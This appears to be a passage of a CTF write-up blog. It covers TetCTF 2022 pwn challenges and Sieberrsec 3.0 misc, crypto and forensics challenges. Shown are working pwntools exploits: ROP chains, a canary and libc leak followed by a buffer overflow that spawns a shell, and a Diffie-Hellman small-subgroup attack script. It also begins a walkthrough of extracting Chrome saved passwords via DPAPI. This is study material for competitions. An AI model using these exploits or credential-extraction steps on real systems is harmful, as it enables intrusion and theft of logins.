    # the fd to get an interactive shell. We already have a reverse shell through ezflag1.
    # Also, small padding to account for the non-aligned stack we are working with.
    payload += b'/tmp/give\x00'.ljust(0x48, b'C')
    payload += rop_payload
    # Add the shellcode
    payload = payload.ljust(0x100 - 1, b'\x90')
    payload += b'\n'
    log.info('Length of payload: {}'.format(hex(len(payload))))
    p.send(payload)

    log.success('Exploit complete. Please check /tmp/flag2.')


if __name__ == '__main__':
    main()

We can run the exploit and grab the world-readable flag.

$ ls -la /tmp/flag2
ls: cannot access '/tmp/flag2': No such file or directory
$ python exploit.py
[*] '/vagrant/tetctf/ezflag1/auth'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 120 cached gadgets for './auth'
[*] Constructed ROP payload to fix stack:
    0x0000:         0x413883 add rsp, 0x38; pop rbx; pop rbp; ret
[*] Length of ROP fix stack payload: 0x8
[*] Constructed ROP payload:
    0x0000:         0x4497a7 pop rax; ret
    0x0008:             0x3b SYS_execve
    0x0010:         0x40f67e pop rsi; ret
    0x0018:              0x0
    0x0020:         0x40176f pop rdx; ret
    0x0028:              0x0
    0x0030:         0x4012d3 syscall
[*] Length of ROP payload: 0x38
[+] Opening connection to localhost on port 4444: Done
[*] Canary: 0x9a5b80ff18293100
[*] Closed connection to localhost port 4444
[+] Opening connection to localhost on port 4444: Done
[*] Length of payload: 0x100
[+] Exploit complete. Please check /tmp/flag2.
[*] Closed connection to localhost port 4444
$ cat /tmp/flag2
TetCTF{Fake_Flag_Because_Service_Is_Down}

Flag: Sadly, didn't solve it during the competition.

TetCTF 2022 - Newbie (Pwn)

2022-01-03T00:00:00+08:00

Summary: An ELF binary contains functionality to generate a ‘hashed’ identifier from two bytes of memory at an offset specified by the user. This ‘hashed’ identifier is generated by taking the two bytes as the seed to srand and running rand 32 times and using the result as the lookup value to a table. Precomputing these identifiers allows us to leak the stack canary and libc base address. These can then be used in a straightforward buffer overflow to obtain a shell.

Challenge Prompt

65 Solves
NewBie
100 Points
Service: nc 18.220.157.154 31337
or
Service: nc 3.22.71.49 31337
Binary
Author: @chung96vn

Attachment: challenge file

Solution

The provided tar.gz file contains the binary and server-side libc.

$ tar xvf newbie_a28e90077643a7ef3b2385863a23cbf9.tar.gz
newbie
libc-2.27.so

The main function is simple, calling a setup function, printing a banner, then calling another function with the meat of the logic.

This meaty function basically does the following things:

Opens /dev/urandom, reads 10 bytes into a buffer.
Goes into a while loop that reads 0x100 bytes from the user and checks if they match the following commands:
- id <value> - If the first three bytes of the user input matches "id ", then the argument that follows is parsed using atoi and then stored.
- create - Dereferences two bytes using the offset specified in the previous id call and passes it to a function.
- quit - Breaks out of the loop.

Something to notice is that the function looks like it may be vulnerable to buffer overflow if we send a large amount of data then quit. This is confirmed with a simple test that also makes it obvious we need to leak the stack canary.

$ ./newbie
SECRET KEY GENERATOR
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Incorrect Syntax
> quit
*** stack smashing detected ***: ./newbie terminated
Aborted (core dumped)

If we dive into the create function, we can see that it uses the input as the argument to srand, then a string of length 32 is created from a character set by calling rand() % length of charset. This is then printed to the user.

$ ./newbie
SECRET KEY GENERATOR
> id 1
> create
Your key: ZNkTtC3qwy3WxftahlGRKluMBDcUuirI

Note that there is no bounds checking when the id value is passed. We can potentially use this to leak arbitrary memory contents from an offset by precomputing all possible 2**16 ‘hashes’ and requesting for two bytes at a time.

There are two things we want to leak:

The stack canary.
A libc address.

Let’s start by debugging the binary and using id 0 before create to examine the memory layout. With an offset of 0, the two byte value looks to be 0x0000000000009f12.

If we look for occurences of this value, it appears in the stack at address 0x7fffffffe2b6.

Examining the contents of the stack around that address gives us these values. To validate this hypothesis, we can try to look at id 1 where we expect the value to be 0x0549.

This is exactly what we see when we test that out.

Given that we know the value of the base buffer to be 0x7fffffffe2b6, we can now look for occurrences of the stack canary on the stack to determine the required offset. Since we are looking for one after the buffer, the most likely usable one is 0x7fffffffe318.

This is 98 bytes away from the buffer, hence to leak the entire stack canary, we need to probe offsets 49, 50, 51, 52. We have our stack canary leak now.

In [461]: 0x7fffffffe318 - 0x7fffffffe2b6
Out[461]: 98

Next, we want to leak something from libc. Something we know that’s definitely on the stack is the return address back into __libc_start_main from the main function. Searching for it tells us that it is at the stack address 0x7fffffffe348.

Great, this is 146 bytes away from the buffer. Thus, we have to leak offsets 73, 74, 75, 76 to obtain the full value.

In [465]: 0x7fffffffe348 - 0x7fffffffe2b6
Out[465]: 146

Putting all of this together into an exploit, we have:

#!/usr/bin/env python

from pwn import *
from one_gadget import generate_one_gadget

import ctypes


charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
stack_canary_offset = 49
stack___libc_start_main_offset = 73
hashes = {}
# context.log_level = 'debug'


def leak(p, offset, toggle_zero=True):
    '''Leaks 2 bytes at an offset << 1.
    '''
    p.recvuntil(b'> ')
    p.sendline(b'id ' + str(offset).encode())
    p.recvuntil(b'> ')
    p.sendline(b'create')
    p.recvuntil(b'Your key: ')
    key = p.recvline().strip().decode()
    value = hashes[key]
    # Correct for the 1 and 0 collision.
    if value == 1 and toggle_zero:
        value = 0
    log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
    return value


def precompute():
    '''Pre-compute the 'hashes'
    '''
    libc = ctypes.cdll.LoadLibrary("libc.so.6")
    global hashes
    for i in range(0xffff+1):
        libc.srand(i)
        val = ''
        for j in range(32):
            val += charset[libc.rand() % len(charset)]
        hashes[val] = i
    log.info("Computed {} hashes.".format(len(hashes)))


def main():
    precompute()

    # Find the magic one gadget in the provided libc.
    libc_path = './libc-2.27.so'
    # libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
    magic_offset = next(generate_one_gadget(libc_path))
    log.info('Found magic one gadget at offset: {}'.format(hex(magic_offset)))

    # Get the __libc_start_main offset
    libc_elf = ELF(libc_path)
    __libc_start_main_offset = libc_elf.libc_start_main_return
    log.info('__libc_start_main_offset: {}'.format(hex(__libc_start_main_offset)))

    # Start the program.
    # p = process("./newbie")
    p = remote('18.191.117.63', 31337)

    # Leak the canary.
    canary = 0
    for i in range(4):
        canary += (leak(p, stack_canary_offset + i)) << (16 * i)
    log.info('Leaked canary: {}'.format(hex(canary)))

    # Leak the __libc_start_main return value.
    __libc_start_main = 0
    for i in range(4):
        __libc_start_main += (leak(p, stack___libc_start_main_offset + i)) << (16 * i)
    log.info('Leaked __libc_start_main: {}'.format(hex(__libc_start_main)))
    libc_base = __libc_start_main - __libc_start_main_offset
    log.info('libc base address: {}'.format(hex(libc_base)))
    magic = libc_base + magic_offset
    log.info('Magic one gadget address: {}'.format(hex(magic)))

    # Trigger the buffer overflow.
    p.recvuntil(b'> ')
    payload = b'A'* 88 + p64(canary) + p64(0x4242424242424242) + p64(magic)
    p.sendline(payload)

    # Quit to return.
    p.recvuntil(b'> ')
    p.sendline(b'quit')
    log.success("Shell spawned! Enjoy!")

    p.interactive()


if __name__ == '__main__':
    main()

Running the script gives us the flag:

vagrant@ubuntu-xenial:/vagrant/tetctf/newbie$ python exploit.py
[*] Computed 65535 hashes.
[*] Found magic one gadget at offset: 0x4f432
[*] '/vagrant/tetctf/newbie/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] __libc_start_main_offset: 0x21bf7
[+] Opening connection to 18.191.117.63 on port 31337: Done
[*] Offset 49: LApmeIwPVRvBimHy6V7jRifniOTe7NBG (0xc100)
[*] Offset 50: henRdEDwBeIMjzAvEudyFn76uTxTBkKi (0xd80c)
[*] Offset 51: 6JbEAh0e88NItAu5hKAY2wB2lSperfNn (0xf4a7)
[*] Offset 52: tqfR2IdzzMKJDfptV4s3imx0OPmk5yvo (0x1ae)
[*] Leaked canary: 0x1aef4a7d80cc100
[*] Offset 73: IUm4PsKcRdQCYgkI203pmyJk9KmqZ33h (0x2bf7)
[*] Offset 74: rzikY2f8hfX3SsEjQPqd2yzF5Z3OdtcI (0x6d50)
[*] Offset 75: gS0gzFoAuPb6O2AqmPcfd9VHdLphzi2W (0x7f14)
[*] Offset 76: pkDHTxmMR18N2l9k88EmLgN7cCCTt9rW (0x0)
[*] Leaked __libc_start_main: 0x7f146d502bf7
[*] libc base address: 0x7f146d4e1000
[*] Magic one gadget address: 0x7f146d530432
[+] Shell spawned! Enjoy!
[*] Switching to interactive mode
$ ls -la /home/
total 12
drwxr-xr-x 1 root root   4096 Dec 31 13:01 .
drwxr-xr-x 1 root root   4096 Dec 31 13:01 ..
drwxr-xr-x 1 root newbie 4096 Dec 31 13:01 newbie
$ cd /home/newbie
$ ls -la
total 36
drwxr-xr-x 1 root newbie  4096 Dec 31 13:01 .
drwxr-xr-x 1 root root    4096 Dec 31 13:01 ..
-rw-r--r-- 1 root newbie   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 root newbie  3771 Apr  4  2018 .bashrc
-rw-r--r-- 1 root newbie   807 Apr  4  2018 .profile
-rw-r----- 1 root newbie    34 Dec 31 12:54 flag
-rwxr-xr-x 1 root newbie 10216 Dec 31 12:54 newbie
$ cat flag
TetCTF{Challenge_f0r_n3wbie_Akwpa}

Flag: TetCTF{Challenge_f0r_n3wbie_Akwpa}

Sieberrsec 3.0 CTF (2021) - Can You Math It? (Misc)

2021-12-28T00:00:00+08:00

Summary: Typical math scripting challenge. Just providing the solution for a safeeval version to avoid insecure evaluation of untrusted inputs.

Challenge Prompt

Can You Math It?
Miscellaneous

Solves (25) - 313 Points

Can you solve 100 math equations?

What if you only have 5 seconds to solve each?

Server source code available here

[This is a scripting challenge. You are expected to write a script to solve it.]

Connect to the challenge at nc challs.sieberrsec.tech 29079

Solution

The source code is given but is really not required. Just useful to verify that the math challenges provided aren’t too crazy.

from time import time, sleep
from random import randint, choice

operations = ('+', '-', '*', '/')

def givechal():
    # generate and solve equation, return both question and answer
    challenge = str(randint(1, 999)) + ' ' + choice(operations) + ' ' + str(randint(1, 999)) + ' ' + choice(operations) + ' ' + str(randint(1, 999))
    result = int(eval(challenge))
    return challenge, result

def main():
    # intro
    print('Can You Math It?')
    sleep(1) # add some arbitrary delay
    print('You have 5 seconds to answer each question')
    print('You have 100 questions to solve')
    print('Please give all answers to nearest integer')
    print('Good luck')
    sleep(1)
    for i in range(100):
        challenge, result = givechal() # generate and store question and answer
        print('Solve ', challenge, ' :') # show the question
        start = time() # start a timer
        answer = input() # receive answer
        timetaken = time() - start # stop timer, calculate time taken
        if timetaken < 5 and answer == str(result): # if within time limit and correct answer
            print('Correct!')
            print('Next question')
        elif timetaken > 5: # if more than 5 secs taken
            print('Took longer than 5 seconds')
            exit()
        else: # answer wrong
            print('Wrong answer')
            exit()
    print('Congratulations! You CAN math it')
    print('The flag is IRS{FLAG_REDACTED}') # the flag goes here

if __name__ == '__main__':
    main() # run the program

Pwntools offers the safeeval utility to safely evaluate expressions. We can use this to solve the script without fear of shenanigans.

#!/usr/bin/env python

from pwn import *

# context.log_level = 'debug'

def main():
    p = remote('challs.sieberrsec.tech', 29079)

    for i in range(100):
        p.recvuntil(b'Solve  ')
        challenge = p.recvuntil(b':')[:-1].strip()
        solution = int(util.safeeval.expr(challenge))
        p.sendline(str(solution).encode())
        log.info('Challenge {}: {} = {}'.format(i, challenge.decode(), solution))

    p.recvuntil(b'Congratulations! You CAN math it\n')
    log.success(p.recvline())

if __name__ == '__main__':
    main()

Running the script yields the flag:

$ python exploit.py
[+] Opening connection to challs.sieberrsec.tech on port 29079: Done
[*] Challenge 0: 360 / 510 / 350 = 0
[*] Challenge 1: 845 - 303 / 294 = 843
[*] Challenge 2: 814 * 232 - 427 = 188421
[*] Challenge 3: 924 / 510 - 714 = -712
[*] Challenge 4: 941 + 367 - 712 = 596
[*] Challenge 5: 772 / 294 + 734 = 736
[*] Challenge 6: 86 * 323 / 191 = 145
[*] Challenge 7: 189 / 532 + 830 = 830
[*] Challenge 8: 473 / 788 - 500 = -499
[*] Challenge 9: 639 * 889 * 190 = 107933490
[*] Challenge 10: 611 / 508 / 240 = 0
...
[*] Challenge 94: 698 * 558 - 118 = 389366
[*] Challenge 95: 922 - 815 + 252 = 359
[*] Challenge 96: 82 * 147 - 947 = 11107
[*] Challenge 97: 719 / 91 * 360 = 2844
[*] Challenge 98: 444 - 463 - 478 = -497
[*] Challenge 99: 104 - 284 / 650 = 103
[+] The flag is IRS{4f2cd85d0a9f32f4}

Flag: IRS{4f2cd85d0a9f32f4}

Sieberrsec 3.0 CTF (2021) - Diffie’s Key Exchange 2 (Crypto)

2021-12-28T00:00:00+08:00

Summary: Applying the small subgroup attack in a pseudo Diffie Hellman key exchange scheme that does not give the public A value allows for an attacker to control the potential values of the shared secret used to encrypt a flag sent back to the attacker. This makes it feasible to iterate through the possible keys to decrypt the flag.

Challenge Prompt

Diffie's Key Exchange 2
Cryptography

Solves (4) - 895 Points

Diffie learnt that his implementation of the system wasn't secure :<< and made some changes. Try it now!
Connect here: nc challs.sieberrsec.tech 1338
chall.py

Attachment: challenge file

Solution

We are given a Python script that implements a pseudo form of the Diffie Hellman key exchange scheme. The issue here is that only the generator g and the prime modulus p is given, not the public key A computed by g^a % p which is typically required in the standard key negotiation scheme to obtain the shared secret.

This ‘shared’ secret is used to encrypt the flag, thus our objective is to somehow control the value of this secret without using the trivial values of 1 or p-1.

import random
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.Padding import pad


with open('flag.txt', 'rb') as f:
    flag = f.read()


g = 5
p = getPrime(512)
a = random.randrange(2, p - 1)
A = pow(g, a, p)

print("WELCOME TO DIFFIE'S KEY EXCHANGE!!!!!\n")
print(f'g: {g}', f'p: {p}', sep='\n')

B = int(input("\nWhat is your public key?\n"))


if not 1 < B < (p - 1):
    print('Sneakyyyyy....')
    exit()
else:
    shared_secret = pow(B, a, p)
    key = hashlib.md5(long_to_bytes(shared_secret)).digest()
    cipher = AES.new(key, AES.MODE_ECB)
    enc = cipher.encrypt(pad(flag, 16))
    print(f'\nencrypted flag: {enc.hex()}')

An example run of the program looks like:

$ python chall.py
WELCOME TO DIFFIE'S KEY EXCHANGE!!!!!

g: 5
p: 7073777320102035715823648131537089890340861621438176702853737334100006916991407396992223330415000600499666889633196080596929221612545938856275346857404807

What is your public key?
12345

encrypted flag: 435d1960f90a1987cfdf8e8589773c65

Looking for previous CTF challenges involving small subgroup confinement attacks yields a challenge called xorlnarmoni’akda.

The important points from the writeup are:

Factorising p-1 gives us the sizes of the subgroups of the finite field over prime p.
Generators for these subgroups can be computed by picking a random r that is not 1 or -1 and evaluating pow(r, (p-1) // subgroup_size, p).
Our challenge gives the constraint that these generators must lie between 1 and p - 1 exclusive so we have to reject the non-compliant generators.
This generator will produce n elements of the subgroup size for any exponent used when computing pow(g, a, p). Thus, we want to start with the smaller subgroups to reduce the AES key search space.

A Python script implementing this attack is given as follows:

#!/usr/bin/env python

# With reference to https://sasdf.github.io/ctf/tasks/2018/ais3Final/crypto/300-xorlnarmoni'akda/.

from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad

# pip install primefac
import primefac
import random
import hashlib


def main():
    # p = process(["python", "chall.py"])
    p = remote('challs.sieberrsec.tech', 1338)

    # Get g
    p.recvuntil(b'g: ')
    g = int(p.recvline().strip())
    log.info('generator = {}'.format(g))

    # Get p
    p.recvuntil(b'p: ')
    modulus = int(p.recvline().strip())
    log.info('prime modulus = {}'.format(modulus))

    # Check that p is prime and factor p-1.
    if not primefac.isprime(modulus):
        log.error("The provided modulus is not prime!")
        return
    log.info("The modulus is confirmed prime.")
    factors = primefac.primefac(modulus - 1)
    seen_factors = set()
    # Most likely 2 is a factor and thus provides a subgroup of size 2 but this generalises it.
    for factor in factors:
        if factor in seen_factors:
            continue
        seen_factors.add(factor)
        log.info('Testing subgroup size {}, if this is too big, please restart.'.format(factor))
        # Test 1000 integers.
        for i in range(1000):
            generator_candidate = random.randrange(2, modulus - 1)
            candidate = pow(generator_candidate, (modulus - 1) // factor, modulus)
            if candidate != (modulus - 1) and candidate != 1:
                log.info('Found candidate: {}'.format(candidate))
                # Find the possible shared values.
                possible_shared = set()
                ctr = 1
                while len(possible_shared) != factor:
                    possible_shared.add(pow(candidate, ctr, modulus))
                    ctr += 1
                log.info('Candidate has {} elements in subgroup: {}'.format(len(possible_shared),
                                                                            possible_shared))

                # Now that we have all we need to predict the possible shared secrets, send the
                # candidate.
                p.sendline(str(candidate).encode())
                p.recvuntil(b'encrypted flag: ')

                # Get the encrypted flag and try to decrypt it.
                encrypted_flag = p.recvline().strip().decode()
                log.info('Encrypted flag: {}'.format(encrypted_flag))
                for shared in possible_shared:
                    key = hashlib.md5(long_to_bytes(shared)).digest()
                    cipher = AES.new(key, AES.MODE_ECB)
                    try:
                        decrypted_flag = unpad(cipher.decrypt(bytes.fromhex(encrypted_flag)), 16)
                        if b'IRS{' in decrypted_flag:
                            log.success('Flag: {}'.format(decrypted_flag.decode()))
                            return
                    except:
                        pass

                return

    p.interactive()


if __name__ == '__main__':
    main()

Running the script gives us the flag:

$ python exploit.py
[+] Opening connection to challs.sieberrsec.tech on port 1338: Done
[*] generator = 5
[*] prime modulus = 10825308872879721949075084480589739135613768878046508437798488882374928178964605436687265343911730293963921252288858056140801387959016711368887755373884633
[*] The modulus is confirmed prime.
[*] Testing subgroup size 2, if this is too big, please restart.
[*] Testing subgroup size 3, if this is too big, please restart.
[*] Found candidate: 2799472089545395126674853020489604564914518834747192924377242808839128120814339550917605237702625175135197994905931567052130656294583264910976368932597496
[*] Candidate has 3 elements in subgroup: {1, 2799472089545395126674853020489604564914518834747192924377242808839128120814339550917605237702625175135197994905931567052130656294583264910976368932597496, 8025836783334326822400231460100134570699250043299315513421246073535800058150265885769660106209105118828723257382926489088670731664433446457911386441287136}
[*] Encrypted flag: e9ab9fd773a30fc34ae628f1918941ee0ca00a3c2e4faba8a4fc9fc77af3bf2b
[+] Flag: IRS{5m411_5ubgr0up_4tt4cc}

Flag: IRS{5m411_5ubgr0up_4tt4cc}

Sieberrsec 3.0 CTF (2021) - Digging in the Dump (Forensics)

2021-12-28T00:00:00+08:00

Summary: A dump of a Windows user’s AppData containing Google Chrome library data files and Windows DPAPI master key files can be used in conjunction with the user’s computer password to extract saved website login credentials.

Challenge Prompt

Part 1:

Digging In The Dump Pt. I
Forensics

Solves (31) - 266 Points

Our friend, Alex, used to visit a website, but ever since his computer died the url to the website was lost!
The only hope now lies in his old hard drive, which was salvaged from his pc
Hopefully something useful can be found

Here is a dump of his %APPDATA% folder
Can you help him find the website?

Attachment: challenge file

Part 2:

Digging In The Dump Pt. II
Forensics

Solves (9) - 292 Points

After finding that website, perhaps you can find the saved credentials to login to his account?
(Using the same file in Pt. I)

Computer username: Alex
Computer password: Password1
(These are NOT the login credentials for the website)

Solution

Part 1

We are given a large 250MB zip file containing a Windows user’s Application Data directory.

$ file AppData.zip
AppData.zip: Zip archive data, at least v2.0 to extract
$ find AppData | head
AppData
AppData/LocalLow
AppData/LocalLow/Microsoft
AppData/LocalLow/Microsoft/CryptnetUrlCache
AppData/LocalLow/Microsoft/CryptnetUrlCache/Content
AppData/LocalLow/Microsoft/CryptnetUrlCache/Content/6BADA8974A10C4BD62CC921D13E43B18_AD319D6DA1A11BC83AC8B4E4D3638231
AppData/LocalLow/Microsoft/CryptnetUrlCache/Content/80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868
AppData/LocalLow/Microsoft/CryptnetUrlCache/Content/57C8EDB95DF3F0AD4EE2DC2B8CFD4157
AppData/LocalLow/Microsoft/CryptnetUrlCache/Content/77EC63BDA74BD0D0E0426DC8F8008506
AppData/LocalLow/Microsoft/CryptnetUrlCache/Content/E0968A1E3A40D2582E7FD463BAEB59CD
...

We can look for a few browsers to look for browser history artifacts. To start with, Google Chrome stores the visited URLs in the History file. This file is present in the dump:

$ find AppData | grep Chrome | grep History
AppData/Local/Google/Chrome/User Data/Default/History-journal
AppData/Local/Google/Chrome/User Data/Default/History

The file can be opened with the sqlite3 program and the correct table can be identified using the .schema command.

$ sqlite3 'AppData/Local/Google/Chrome/User Data/Default/History'
SQLite version 3.32.3 2020-06-18 14:16:19
Enter ".help" for usage hints.
sqlite> .schema
...
CREATE TABLE urls(id INTEGER PRIMARY KEY AUTOINCREMENT,url LONGVARCHAR,title LONGVARCHAR,visit_count INTEGER DEFAULT 0 NOT NULL,typed_count INTEGER DEFAULT 0 NOT NULL,last_visit_time INTEGER NOT NULL,hidden INTEGER DEFAULT 0 NOT NULL);
...

Selecting from the table yields a pertinent URL with the challs.sieberrsec.tech domain name.

sqlite> select * from urls;
https://www.google.com/search?q=bing&oq=bing&aqs=chrome..69i57j0i433i512j46i433i512j0i131i433i512j0i512j0i131i433i512l3j46i433i512j46i512.1018j0j7&sourceid=chrome&ie=UTF-8|bing - Google Search|2|0|13284792092515784|0
http://www.bing.com/|Bing|1|0|13284792132998452|0
https://www.bing.com/|Bing|1|0|13284792132998452|0
https://www.bing.com/search?q=google&form=QBLH&sp=-1&pq=google&sc=8-6&qs=n&sk=&cvid=E0635C87D5F44F3A8C498FEAB34156BB|google - Search|1|0|13284792153017298|0
http://www.google.com.sg/|Google|1|0|13284792155381137|0
https://www.google.com.sg/?gws_rd=ssl|Google|2|0|13284792155754230|0
https://www.google.com.sg/search?q=cookies+near+me&source=hp&ei=NE_FYfmVGPWO4-EPz8KI6Ac&iflsig=ALs-wAMAAAAAYcVdRA0CQ1NwjvY3j8cWR4dLEAdaR-_Y&ved=0ahUKEwj5_8Sez_v0AhV1xzgGHU8hAn0Q4dUDCAk&uact=5&oq=cookies+near+me&gs_lcp=Cgdnd3Mtd2l6EAMyCAgAEIAEEMkDMgUIABCSAzIFCAAQgAQyBQgAEIAEMgUIABCABDIFCAAQgAQyBQgAEIAEMgUIABCABDIFCAAQgAQyBQgAEIAEOg4ILhCPARDqAhCMAxDlAjoOCAAQjwEQ6gIQjAMQ5QI6CAgAELEDEIMBOg4ILhCABBCxAxDHARDRAzoUCC4QgAQQsQMQgwEQxwEQrwEQ1AI6CAgAEIAEELEDOgUIABCxAzoUCC4QgAQQsQMQxwEQowIQ1AIQiwM6EQgAEIAEELEDEIsDEKYDEKgDOg4IABCABBCxAxCDARCLAzoOCC4QsQMQgwEQxwEQowI6DgguEIAEELEDEMcBEKMCOgsIABCABBCxAxCDAToICC4QgAQQsQM6CwguEIAEELEDENQCOg4ILhCxAxCDARDHARCvAToRCC4QgAQQsQMQgwEQxwEQowI6DgguEIAEEMcBEK8BEIsDOggIABCABBCLAzoLCC4QgAQQxwEQrwFQqE5Ysl5g2WRoBHAAeACAAYoBiAHGBpIBBDE0LjGYAQCgAQGwAQq4AQI&sclient=gws-wiz|cookies near me - Google Search|2|0|13284792170964074|0
https://www.google.com.sg/search?q=Best+butter+cookies+in+Singapore&sa=X&ved=2ahUKEwjinbylz_v0AhVr7XMBHQjTBCsQ1QJ6BAgcEAE&biw=988&bih=620&dpr=1|Best butter cookies in Singapore - Google Search|3|0|13284792739005609|0
https://www.lifestyleasia.com/sg/food-drink/dining/best-cookies-in-singapore-delivery/|7 best cookies in Singapore by local bakers to try this weekend|1|0|13284792304156059|0
https://www.theweddingvowsg.com/best-cookie-shops-singapore/|7 Best Cookie Shops in Singapore | Best of Lifestyle 2021|1|0|13284792743089170|0
http://challs.sieberrsec.tech:23547/dcfa237943d4fd7e2a514ca54642efaccd2cdbd5003bfb19a1e70737273e1190|Flag|1|0|13284792773737661|0
http://challs.sieberrsec.tech:23547/dcfa237943d4fd7e2a514ca54642efaccd2cdbd5003bfb19a1e70737273e1190/|Flag|2|0|13284792797469196|0
sqlite>

Retrieving the webpage gives us the flag along with a login form:

$ curl 'http://challs.sieberrsec.tech:23547/dcfa237943d4fd7e2a514ca54642efaccd2cdbd5003bfb19a1e70737273e1190/'
<!DOCTYPE html>
<html>
    <head>
        <Title>Login</Title>
        ...
    </head>
    <body>
        <div class="topnav">
            <h1>Login Page</h1>
        </div>
        <br><br>
        <div class="login">
            <p>IRS{D1ggiNg_1N_tH3_chR0M3_h15t0rY}</p>
            <form method="post" class='loginform'>
                <input type="text" name="username" placeholder="Username" required>
                <input type="password" name="password" placeholder="Password" required>

                <input type="submit" name="submit" value="Login">
            </form>
        </div>
    </body>
</html>

Flag: IRS{D1ggiNg_1N_tH3_chR0M3_h15t0rY}

Part 2

In the second part, we are supposed to login to the webpage, presumably using saved login credentials. The version of Google Chrome used in this challenge is relatively new:

$ cat 'AppData/Local/Google/Chrome/User Data/Last Version'
96.0.4664.110

According to Foxton Forensics, the file containing the saved credential data is Login Data. From the schema, it appears that the pertinent table is logins.

$ sqlite3 'AppData/Local/Google/Chrome/User Data/Default/Login Data'
SQLite version 3.32.3 2020-06-18 14:16:19
Enter ".help" for usage hints.
sqlite> .schema
...
CREATE TABLE logins (origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, times_used INTEGER, form_data BLOB, display_name VARCHAR, icon_url VARCHAR, federation_url VARCHAR, skip_zero_click INTEGER, generation_upload_status INTEGER, possible_username_pairs BLOB, id INTEGER PRIMARY KEY AUTOINCREMENT, date_last_used INTEGER NOT NULL DEFAULT 0, moving_blocked_for BLOB, date_password_modified INTEGER NOT NULL DEFAULT 0, UNIQUE (origin_url, username_element, username_value, password_element, signon_realm));
...
sqlite>

There is an entry for the site but the password is encrypted.

sqlite> select * from logins;
http://challs.sieberrsec.tech:23547/dcfa237943d4fd7e2a514ca54642efaccd2cdbd5003bfb19a1e70737273e1190/|http://challs.sieberrsec.tech:23547/dcfa237943d4fd7e2a514ca54642efaccd2cdbd5003bfb19a1e70737273e1190/|username|Alex24|password|v10���/F��n�dCJ��9ނ\||http://challs.sieberrsec.tech:23547/|13284792800298041|0|0|0|0|�||||0|0||1|13284792797426951||13284792800298530
sqlite>

Decrypting this value differs according to Google Chrome version. The pertinent pull request for the decryption scheme is given in Chromium 1842671. We can observe that this change occured first in version 80.0.3948.0.

The password_value blob is encrypted with a wrapped AES key in GCM mode. This wrapped key is itself encrypted using the Windows Data Protection API with the CryptProtectData call.

The wrapped key is stored in the Local Data JSON file in the os_crypt.encrypted_key field.

$ cat 'AppData/Local/Google/Chrome/User Data/Local State' | jq -r .os_crypt.encrypted_key
RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABzlbQ33sJ6SIG+uML5tN8VAAAAAAIAAAAAABBmAAAAAQAAIAAAAK3K+lbEQhgKWXCUhfBo0B3IclDK4Trudr1YXLSpiVrZAAAAAA6AAAAAAgAAIAAAAI8CLxksWgwYvM4vJvniv+XVLtpiEjhmLvA/iNiLLrJ7MAAAAA4T0R9gdcrWpucsGmwbEFAMUGY30fRbTVyNUqLHgDT/qIqALJL3l0xcj0qgEVilWEAAAAB+xquYwbQPWjx7gsQOB1svow83EbccXe8sxn1gNotgQeISqaJkDdiRxWmVuEJg4tJmqLENgBs1ZJuzFtYb7fQ3

If we decode the base64, we can confirm that it syncs up with what is expected from the Chromium source code. The DPAPI prefix is present and should be removed prior to running an CryptUnprotectData call.

$ cat 'AppData/Local/Google/Chrome/User Data/Local State' | jq -r .os_crypt.encrypted_key | base64 -d | xxd
00000000: 4450 4150 4901 0000 00d0 8c9d df01 15d1  DPAPI...........
00000010: 118c 7a00 c04f c297 eb01 0000 0073 95b4  ..z..O.......s..
00000020: 37de c27a 4881 beb8 c2f9 b4df 1500 0000  7..zH...........
00000030: 0002 0000 0000 0010 6600 0000 0100 0020  ........f......
00000040: 0000 00ad cafa 56c4 4218 0a59 7094 85f0  ......V.B..Yp...
00000050: 68d0 1dc8 7250 cae1 3aee 76bd 585c b4a9  h...rP..:.v.X\..
00000060: 895a d900 0000 000e 8000 0000 0200 0020  .Z.............
00000070: 0000 008f 022f 192c 5a0c 18bc ce2f 26f9  ...../.,Z..../&.
00000080: e2bf e5d5 2eda 6212 3866 2ef0 3f88 d88b  ......b.8f..?...
00000090: 2eb2 7b30 0000 000e 13d1 1f60 75ca d6a6  ..{0.......`u...
000000a0: e72c 1a6c 1b10 500c 5066 37d1 f45b 4d5c  .,.l..P.Pf7..[M\
000000b0: 8d52 a2c7 8034 ffa8 8a80 2c92 f797 4c5c  .R...4....,...L\
000000c0: 8f4a a011 58a5 5840 0000 007e c6ab 98c1  .J..X.X@...~....
000000d0: b40f 5a3c 7b82 c40e 075b 2fa3 0f37 11b7  ..Z<{....[/..7..
000000e0: 1c5d ef2c c67d 6036 8b60 41e2 12a9 a264  .].,.}`6.`A....d
000000f0: 0dd8 91c5 6995 b842 60e2 d266 a8b1 0d80  ....i..B`..f....
00000100: 1b35 649b b316 d61b edf4 37              .5d.......7

First, we can extract the DPAPI encrypted data without the prefix into a file called blob:

In [4]: import json, base64

In [5]: x = json.load(open('AppData/Local/Google/Chrome/User Data/Local State', 'rb'))['os_crypt']['encrypted_key']

In [6]: x = base64.b64decode(x)

In [7]: open("blob",'wb').write(x[5:])
Out[7]: 262

